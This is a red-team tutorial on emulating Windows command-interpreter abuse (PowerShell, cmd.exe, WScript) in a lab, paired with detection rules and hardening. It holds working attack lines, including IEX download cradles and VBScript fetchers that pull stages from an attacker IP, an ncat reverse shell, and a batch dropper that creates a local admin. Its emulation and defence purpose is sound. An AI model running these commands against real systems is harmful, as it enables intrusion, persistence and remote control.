Emulating T1059 – Command and Scripting Interpreters: PowerShell, CMD, and WScript Techniques

By Debraj Basak·Sep 10, 2026·13 min readAdversary Emulation

You popped a workstation through a phishing lure. No custom malware, no dropped binary that lights up the EDR, nothing exotic. Just a .vbs attachment that shelled out to PowerShell, pulled a second stage into memory, and dropped a batch file for persistence. Three interpreters, all signed by Microsoft, all already on disk. That is T1059 in a nutshell, and it is why this technique sits near the top of every ATT&CK prevalence report year after year.

Objective: Reproduce adversary tradecraft for the three native Windows interpreters – PowerShell (T1059.001), Windows Command Shell (T1059.003), and Visual Basic / WScript (T1059.005) – against an authorized lab target, then wire up the exact Sysmon, PowerShell, and Windows event telemetry a defender uses to catch each hop.


1. What Is T1059 and Why It Dominates the ATT&CK Top 10

T1059 – Command and Scripting Interpreter lives under the Execution tactic (TA0002), but its reach is much wider. Attackers use native interpreters at every lifecycle stage: initial execution, discovery, credential access, lateral movement, persistence. In the Red Report 2026, Command and Scripting Interpreter ranked as the second most observed technique across analyzed samples. That is not an accident. The interpreters ship with the OS, run signed, and are trusted by a mountain of legitimate automation.

This is the Living-off-the-Land (LotL) philosophy. Why smuggle a payload past application controls when powershell.exe, cmd.exe, and wscript.exe already sit in System32 waiting to be told what to do? The three sub-techniques below each carry a different trade-off in capability versus visibility, and mature operators pick the quietest interpreter that gets the job done.

Sub-techniqueInterpreterCapabilityDefault telemetry
T1059.001powershell.exe / pwsh.exe.NET, WMI, COM, Win32 APIHigh (ScriptBlock, AMSI)
T1059.003cmd.exeProcess chaining, batch logicLow (no AMSI, few native events)
T1059.005wscript.exe / cscript.exeCOM, HTTP, FS, registryMedium (process create, file writes)

2. Lab Setup: Building a Safe Emulation Environment

Everything below runs on an isolated host-only network. Nothing touches the internet from the target.

  • Target: Windows 10 22H2 VM. Default ExecutionPolicy RemoteSigned, no WDAC or AppLocker, WSH enabled, a non-admin local account labuser.
  • Attacker: Kali or a second Windows VM at 192.168.56.10. C2 is simulated with ncat and a Python HTTP server, not a real beacon.

Install Sysmon with a solid baseline config and turn on the PowerShell logging that most fresh installs leave off.

# Target VM, elevated. Install Sysmon with SwiftOnSecurity config.
Invoke-WebRequest -Uri https://live.sysinternals.com/Sysmon64.exe -OutFile Sysmon64.exe
.\Sysmon64.exe -accepteula -i sysmonconfig-export.xml

# Enable Script Block + Module Logging via registry (equivalent to the GPO)
$base = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell'
New-Item "$base\ScriptBlockLogging" -Force | Out-Null
Set-ItemProperty "$base\ScriptBlockLogging" EnableScriptBlockLogging 1
New-Item "$base\ModuleLogging" -Force | Out-Null
Set-ItemProperty "$base\ModuleLogging" EnableModuleLogging 1
New-ItemProperty "$base\ModuleLogging\ModuleNames" -Name '*' -Value '*' -Force

Turn on command-line auditing so Security Event ID 4688 captures full arguments, then pull down Atomic Red Team for reference tests.

# Command-line process auditing
auditpol /set /subcategory:"Process Creation" /success:enable
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
    /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# Atomic Red Team
Install-Module -Name invoke-atomicredteam,powershell-yaml -Force
Import-Module invoke-atomicredteam

Confirm you see events in Applications and Services Logs > Microsoft-Windows-PowerShell/Operational before moving on. If 4104 is silent, your logging isn’t on and every detection below will lie to you.


3. T1059.001 – PowerShell: Techniques and Emulation

PowerShell is the heavyweight. Full .NET, WMI, COM, and the Win32 API from a single signed binary. Two patterns dominate real intrusions: the encoded command and the download cradle.

Recon and the encoded command

Start by confirming the interpreter version, then craft an encoded payload. -EncodedCommand accepts a Base64 string of UTF-16LE bytes, which hides the actual command from casual log review.

# Attacker side: build the encoded recon payload
$cmd   = 'whoami; hostname; ipconfig /all'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$enc   = [Convert]::ToBase64String($bytes)
"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $enc"

Run the produced line on the target. Note the stacked flags: -NoProfile skips profile scripts, -NonInteractive suppresses prompts, -WindowStyle Hidden hides the window, -ExecutionPolicy Bypass sidesteps the policy that was never a security boundary to begin with.

powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand <base64>

Here is the payoff you want to remember: on the wire and in 4688 you see -enc JABxAD0A..., garbage to a casual eye. But ScriptBlock Logging (4104) records the fully decoded whoami; hostname; ipconfig /all because PowerShell logs the block after it deobfuscates it, right before execution. That asymmetry is the single most important detection fact in this whole tutorial.

Download cradle (fileless IEX)

Host a second stage on the attacker box and pipe it straight into Invoke-Expression. Nothing hits disk on the target.

# Attacker VM
echo "Write-Output ('STAGE2 EXECUTED: ' + (whoami))" > stage2.ps1
python3 -m http.server 8080
# Target
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `
  "IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8080/stage2.ps1')"

Net.WebClient.DownloadString plus IEX is the canonical cradle. Swap in Invoke-WebRequest (iwr), Invoke-RestMethod, or Start-BitsTransfer and the shape is identical: fetch a string, execute it in memory. This also trips T1105 (Ingress Tool Transfer), so expect it to show up on two ATT&CK rows.

AMSI and the bypass category

Windows 10 routes script content through the Antimalware Scan Interface. amsi.dll exposes AmsiScanBuffer and AmsiScanString, and Defender scans the buffer before the runtime executes it. When your cradle contains a signatured string, Defender fires and you see Microsoft-Windows-Windows Defender/Operational Event ID 1116.

Attackers defeat this by patching AmsiScanBuffer in memory so it returns a clean result before the scan completes. I am deliberately not shipping a working production patch here – that crosses the line into a turnkey evasion tool. What matters for emulation and detection is the observable footprint: amsi.dll loading into powershell.exe shows as Sysmon Event ID 7 (ImageLoad), and reflective loaders that touch the module often generate Event ID 10 (ProcessAccess). Run an unmodified signatured payload first, watch 1116 fire, and treat that event as your ground truth that AMSI is doing its job.

Reference tests

Invoke-AtomicTest T1059.001 -TestNumbers 1,2,3 -GetPrereqs
Invoke-AtomicTest T1059.001 -TestNumbers 1,2,3

Graph showing how powershell.exe receives a Base64 encoded command, logs garbled text to Security event 4688, but ScriptBlock logging at event 4104 captures the fully decoded payload
4104 ScriptBlock logging breaks Base64 obfuscation by recording the decoded payload after PowerShell deobfuscates it but before it executes.

4. T1059.003 – Windows Command Shell: Techniques and Emulation

cmd.exe is the quiet one. No AMSI scanning, fewer native events, and it is on every Windows build with zero prerequisites. Attackers reach for it precisely because script-focused monitoring often ignores it.

The /c and /k flags

/c runs one command then exits. /k runs and keeps the shell open. The /c pattern is the workhorse for launching follow-on payloads.

cmd.exe /c whoami && cmd.exe /c net user

Environment-variable obfuscation

cmd.exe resolves itself through the %COMSPEC% environment variable, which malware uses to avoid hardcoding a path. Substring expansion lets an attacker spell interpreter names out of unrelated variables to dodge string matching.

REM %COMSPEC% resolves to C:\Windows\System32\cmd.exe
%COMSPEC% /c echo Obfuscated execution

REM Substring expansion pulls characters out of an env var by index,
REM e.g. %LOCALAPPDATA:~-3,1%md builds "cmd" from arbitrary variables.

This maps to T1027.010 (Command Obfuscation). The ComSpec variable is also an abuse primitive: redirect it and every process that resolves the shell through it launches attacker code instead.

Batch dropper and reverse shell

A batch file chains discovery, account creation, and a beacon file in one artifact.

@echo off
REM lab_payload.bat - intentionally vulnerable lab dropper
net user labadmin P@ssw0rd! /add
net localgroup Administrators labadmin /add
echo Payload executed > %TEMP%\lab_beacon.txt
cmd.exe /c lab_payload.bat

For an interactive shell, start a netcat listener on the attacker and dial back with the classic -e construction.

# Attacker
ncat -lvnp 4444
REM Target
cmd.exe /c start /min cmd.exe /k "ncat 192.168.56.10 4444 -e cmd.exe"

Compare telemetry against Section 3. The reverse shell above generates a process create and a network connect, and that is roughly it. No 4104, no AMSI. That smaller footprint is exactly why you weight parent-child anomalies heavily for cmd.exe.

Invoke-AtomicTest T1059.003 -TestNumbers 1,2,3

5. T1059.005 – WScript/CScript (Visual Basic): Techniques and Emulation

Visual Basic is the phishing world’s favorite. wscript.exe runs .vbs files with a GUI, cscript.exe runs them with console output, and both reach COM, the file system, HTTP, and the registry. VBA macros fall under the same sub-technique.

Basic execution through WScript.Shell

' lab_recon.vbs
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c whoami > C:\Temp\out.txt", 0, True

Set objFSO  = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("C:\Temp\out.txt", 1)
MsgBox objFile.ReadAll
wscript.exe lab_recon.vbs
cscript.exe //nologo lab_recon.vbs

The 0 in .Run(...,0,True) runs the child window hidden. That is the tell defenders hunt: a script host silently spawning cmd.exe or powershell.exe.

HTTP download via XMLHTTP

VBScript pulls remote payloads through COM without touching a browser.

' lab_download.vbs - fetch a stage from the lab HTTP server
Dim xhr
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "http://192.168.56.10:8080/stage2.txt", False
xhr.Send

Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f   = fso.CreateTextFile("C:\Temp\stage2.txt", True)
f.Write xhr.ResponseText
f.Close

WinHttp.WinHttpRequest.5.1 is the interchangeable cousin. .vbe encoded scripts (Microsoft’s own Script Encoder) and .wsf multi-engine XML wrappers add obfuscation on top of the same primitives.

The VBS to PowerShell hop

The move that stitches sub-techniques together: let VBScript launch a hidden PowerShell cradle.

' lab_chain.vbs - VBS drops to PowerShell
Set ws = CreateObject("WScript.Shell")
ws.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ""IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8080/stage2.ps1')""", 0, False
Invoke-AtomicTest T1059.005 -TestNumbers 1,2,3

6. Chaining Interpreters: A Realistic Kill-Chain Scenario

No serious operator uses one interpreter in isolation. Chain them so each hop hands off to the next, spreading the noise across three signed processes.

[Phishing .vbs attachment]
        |  T1059.005
wscript.exe lab_chain.vbs
        |  T1059.001
powershell.exe -enc <Base64 download cradle>
        |  T1105 (Ingress Tool Transfer)
Downloads stage2.bat to %TEMP%
        |  T1059.003
cmd.exe /c stage2.bat   (persistence + beacon)
        |  T1547.001 (Registry Run key)

The gift this leaves for a defender is the process ancestry. Every hop is a Sysmon Event ID 1 with a ParentImage to Image link that no legitimate workflow reproduces. outlook.exe to wscript.exe to powershell.exe to cmd.exe is a lineage you can alert on with high confidence, because business automation almost never chains three interpreters through a mail client. Hunt the chain, not just the individual binaries.


Flow diagram showing the three-interpreter kill chain from a phishing VBS attachment through wscript.exe to PowerShell download cradle to cmd.exe persistence via registry run key
Every hop in the chain is a signed Microsoft binary – process ancestry across all three interpreters is the high-confidence detection signal.

7. Defensive Strategies & Detection

Detection here is a layered stack: process ancestry from Sysmon, decoded content from PowerShell logging, and content scanning from AMSI. Miss any layer and encoded or fileless variants slip through.

Windows and Sysmon Event IDs

Event IDSourceWhat it captures
4688SecurityProcess create with full command line (needs command-line auditing)
4103PowerShell/OperationalModule logging, per-module pipeline output
4104PowerShell/OperationalScriptBlock logging, deobfuscated script content
1116Windows Defender/OperationalAMSI detection event
Sysmon 1SysmonProcess create with ParentImage / ParentCommandLine
Sysmon 3SysmonNetwork connect from powershell.exe / wscript.exe
Sysmon 7SysmonImage load, e.g. amsi.dll into powershell.exe
Sysmon 11SysmonFile create of .vbs, .vbe, .wsf, .bat, .ps1 in temp/startup
Sysmon 13SysmonRegistry set on WSH settings or ComSpec

When a command-line rule fires on -enc, always pivot to the matching 4104 event. That is where you read the actual payload instead of Base64.

ETW providers worth subscribing

ProviderGUIDCoverage
Microsoft-Windows-PowerShell{A0C1853B-5C40-4B15-8766-3CF1C58F985A}ScriptBlock, module, pipeline (4103/4104)
Microsoft-Antimalware-Scan-Interface{2A576B87-09A7-520E-C21A-4942F0271D67}AMSI scan results

Sigma anchors

Encoded and cradle PowerShell:

title: Suspicious PowerShell Encoded Command or Download Cradle
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - 'IEX'
      - 'Invoke-Expression'
      - 'DownloadString'
      - 'Net.WebClient'
      - '-WindowStyle Hidden'
      - '-ExecutionPolicy Bypass'
  condition: selection
level: high

Script host launching an interpreter:

title: WScript or CScript Spawning a Command Interpreter
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
    ParentImage|endswith:
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
  condition: selection
level: high

WScript with a script argument:

title: WScript or CScript Executing Script Files
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith:
      - '\wscript.exe'
      - '\cscript.exe'
    CommandLine|contains:
      - '.vbs'
      - '.vbe'
      - '.wsf'
  filter_admin:
    ParentImage|endswith: '\explorer.exe'
  condition: selection and not filter_admin
level: medium

Tune the explorer.exe filter to your environment; plenty of legitimate .vbs launch interactively, and you will drown in noise if you skip that step.

Hardening

ControlMechanism
Constrained Language ModeEnforced via WDAC; blocks .NET / COM reflection abuse
Script Block LoggingGPO, captures deobfuscated content pre-execution
Disable WSHHKLM\Software\Microsoft\Windows Script Host\Settings\Enabled = 0 (DWORD)
ASR: block Office child processesRule GUID d4f940ab-401b-4efc-aadc-ad5f3c50688a
ASR: block obfuscated scriptsRule GUID 5beb7efe-fd9a-4556-801d-275e5ffc04cc
AppLocker / WDACWhitelist execution; deny wscript.exe / cscript.exe for non-admins
ComSpec monitoringAlert on Sysmon 13 writes to ...\Session Manager\Environment\ComSpec

Execution Policy is not a security boundary by itself, so do not lean on it. Constrained Language Mode plus WDAC and ASR rules is where the real reduction happens.


Illustration of three stacked defensive shield layers representing Sysmon process telemetry, PowerShell ScriptBlock logging, and AMSI content scanning stopping an attacker
Detection is a three-layer stack – miss process ancestry, decoded content, or AMSI scanning and living-off-the-land variants slip through.

8. Tools for T1059 Emulation and Analysis

ToolDescriptionLink
Invoke-AtomicRedTeamRuns the T1059.* atomic tests used abovegithub.com
SysmonProcess, network, image-load, registry telemetrysysinternals.com
Process HackerLive process tree and command-line inspectionprocesshacker.sourceforge.io
Process MonitorFile, registry, and process activity tracesysinternals.com
SigmaPortable detection rules for the SIEM of your choicesigmahq.io
ncatReverse-shell listener for lab C2 simulationnmap.org

9. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Command and Scripting InterpreterT1059Sysmon 1 process ancestry, 4688 command line
PowerShellT1059.0014104 ScriptBlock, 1116 AMSI, 4103 module log
Windows Command ShellT1059.0034688 cmd /c + suspicious child, Sysmon 1
Visual BasicT1059.005Sysmon 1 wscript/cscript, 11 script file create
Obfuscated Files or InformationT1027Base64, tick marks in 4104 content
Command ObfuscationT1027.010Env-var substring expansion in 4688
Ingress Tool TransferT1105Sysmon 3 outbound from interpreter
Disable or Modify ToolsT1562.001amsi.dll load anomalies, missing PS logs
Registry Run Keys / Startup FolderT1547.001Sysmon 13 Run-key writes
Windows Remote ManagementT1021.006Invoke-Command over WinRM

Summary

  • T1059 dominates because the interpreters are already installed, signed, and trusted – attackers execute code without dropping anything novel.
  • PowerShell (T1059.001) is the most capable and the loudest; encoded commands and IEX download cradles are the two patterns you will see most, and 4104 shows the decoded payload regardless of Base64.
  • Windows Command Shell (T1059.003) trades capability for stealth: no AMSI, minimal native events, so weight parent-child anomalies and ComSpec abuse.
  • WScript/CScript (T1059.005) is the phishing delivery layer; hunt .vbs/.vbe/.wsf file writes and script hosts spawning interpreters.
  • Real intrusions chain all three – detect the process lineage (Sysmon Event ID 1), decode the content (Event ID 4104), and scan it (AMSI Event ID 1116), then harden with Constrained Language Mode, WDAC, and ASR rules.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.